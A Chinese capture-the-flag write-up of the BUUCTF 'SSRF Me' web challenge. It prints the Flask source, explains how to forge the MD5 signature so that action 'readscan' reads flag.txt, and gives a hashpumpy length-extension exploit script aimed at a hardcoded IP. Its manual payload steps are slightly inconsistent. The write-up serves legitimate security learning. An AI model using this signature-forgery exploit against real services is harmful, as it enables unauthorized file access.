BUUCTF WEB SSRF ME
没废话,flask代码审计,干就完了#! /usr/bin/env python#encoding=utf-8from flask import Flaskfrom flask import requestimport socketimport hashlibimport urllibimport sysimport osimport jsonreload(sys)sys.setdefaulten
没废话,flask代码审计,干就完了
#! /usr/bin/env python
#encoding=utf-8
from flask import Flask
from flask import request
import socket
import hashlib
import urllib
import sys
import os
import json
reload(sys)
sys.setdefaultencoding('latin1')
app = Flask(__name__)
secert_key = os.urandom(16)
class Task:
def __init__(self, action, param, sign, ip):
self.action = action
self.param = param
self.sign = sign
self.sandbox = md5(ip)
if(not os.path.exists(self.sandbox)): #SandBox For Remote_Addr
os.mkdir(self.sandbox)
def Exec(self):
result = {}
result['code'] = 500
if (self.checkSign()):
if "scan" in self.action:
tmpfile = open("./%s/result.txt" % self.sandbox, 'w')
resp = scan(self.param)
if (resp == "Connection Timeout"):
result['data'] = resp
else:
print resp
tmpfile.write(resp)
tmpfile.close()
result['code'] = 200
if "read" in self.action:
f = open("./%s/result.txt" % self.sandbox, 'r')
result['code'] = 200
result['data'] = f.read()
if result['code'] == 500:
result['data'] = "Action Error"
else:
result['code'] = 500
result['msg'] = "Sign Error"
return result
def checkSign(self):
if (getSign(self.action, self.param) == self.sign):
return True
else:
return False
#generate Sign For Action Scan.
@app.route("/geneSign", methods=['GET', 'POST'])
def geneSign():
param = urllib.unquote(request.args.get("param", ""))
action = "scan"
return getSign(action, param)
@app.route('/De1ta',methods=['GET','POST'])
def challenge():
action = urllib.unquote(request.cookies.get("action"))
param = urllib.unquote(request.args.get("param", ""))
sign = urllib.unquote(request.cookies.get("sign"))
ip = request.remote_addr
if(waf(param)):
return "No Hacker!!!!"
task = Task(action, param, sign, ip)
return json.dumps(task.Exec())
@app.route('/')
def index():
return open("code.txt","r").read()
def scan(param):
socket.setdefaulttimeout(1)
try:
return urllib.urlopen(param).read()[:50]
except:
return "Connection Timeout"
def getSign(action, param):
return hashlib.md5(secert_key + param + action).hexdigest()
def md5(content):
return hashlib.md5(content).hexdigest()
def waf(param):
check=param.strip().lower()
if check.startswith("gopher") or check.startswith("file"):
return True
else:
return False
if __name__ == '__main__':
app.debug = False
app.run(host='0.0.0.0',port=80)
先找回显点,很明显的一个逻辑,那就是task里的exec可以读取文件,有三个路由/geneSign,/De1ta,/
第三个没啥好说的,给我们提供源码的,我们的终极目标要通过/De1ta调用Task类,需要三个参数:action,param,sign,param没啥好说的,要读取的文件名
param=flag.txt
action要过一层waf,仅用了gopher和file伪协议,然后/De1ta的逻辑就没了,下面就是调用的Task类的逻辑
__init__生成沙箱环境,没啥好说的,下一个要过的就是checkSign(),他需要的逻辑
if (getSign(self.action, self.param) == self.sign):这三个参数都是本地可控的
但是有一个问题,
def getSign(action, param):
return hashlib.md5(secert_key + param + action).hexdigest()
secret_key我们不知道,所以我们没法直接利用/De1ta,好在给的另一个路由/geneSign也调用到了getSign函数,而且直接把结果回显给了我们,所以我们不需要知道secret_key,就可以通过构造payload
来绕过checkSign()
这就是本题最关键的点
下面就是利用思路:
构造payload:/geneSign?param=flag.txt
直接getSign时,他返回给我们的是secret_key+“flag.txtread”+"scan"的md5值
在/De1ta路由下Get:param=flag.txt
cookie改为:action=readscan;sign=上一步返回的结果
这样checkSign的时候去调用getSign,计算出来的结果也是secret_key+“flag.txtread”+"scan"的md5值,和我们之前计算的sign一样,绕过了checkSign
就直接读取到了flag.txt
网上还有一种大佬解法
https://blog.csdn.net/weixin_44255856/article/details/98946266
第二种方法,hash长度扩展攻击,emmmm。。。。密码学知识欠缺中,本质上,还是上还是md5值相等。虽然看不懂,但是就这个描述而言,这题好像就是为这个攻击而生的
有兴趣看原理的
https://blog.csdn.net/syh_486_007/article/details/51228628?spm=1001.2101.3001.6650.1&utm_medium=distribute.pc_relevant.none-task-blog-2%7Edefault%7EBlogCommendFromBaidu%7Edefault-1.fixedcolumn&depth_1-utm_source=distribute.pc_relevant.none-task-blog-2%7Edefault%7EBlogCommendFromBaidu%7Edefault-1.fixedcolumn
脚本:
import hashpumpy
import requests
import urllib.parse
txt1 = 'flag.txt'
r = requests.get('http://139.180.128.86/geneSign', params={'param': txt1})
sign = r.text
hash_sign = hashpumpy.hashpump(sign, txt1 + 'scan', 'read', 16)#长度16是代码里给的random(16)
r = requests.get('http://139.180.128.86/De1ta', params={'param': txt1}, cookies={
'sign': hash_sign[0],
'action': urllib.parse.quote(hash_sign[1][len(txt1):])
})
print(r.text)
参考视频链接:https://www.bilibili.com/video/BV1Wb4y1v7Md/
更多推荐
所有评论(0)